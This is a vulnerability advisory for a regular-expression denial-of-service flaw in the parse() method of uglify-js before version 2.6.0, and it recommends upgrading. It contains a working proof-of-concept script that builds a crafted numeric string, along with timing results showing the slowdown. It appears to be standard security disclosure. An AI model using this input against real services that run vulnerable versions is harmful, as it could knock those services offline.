Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

References

• https://nvd.nist.gov/vuln/detail/CVE-2015-8858
• GHSA-c9f4-xj24-8jqx
• https://www.npmjs.com/advisories/48
• http://www.openwall.com/lists/oss-security/2016/04/20/11
• http://www.securityfocus.com/bid/96409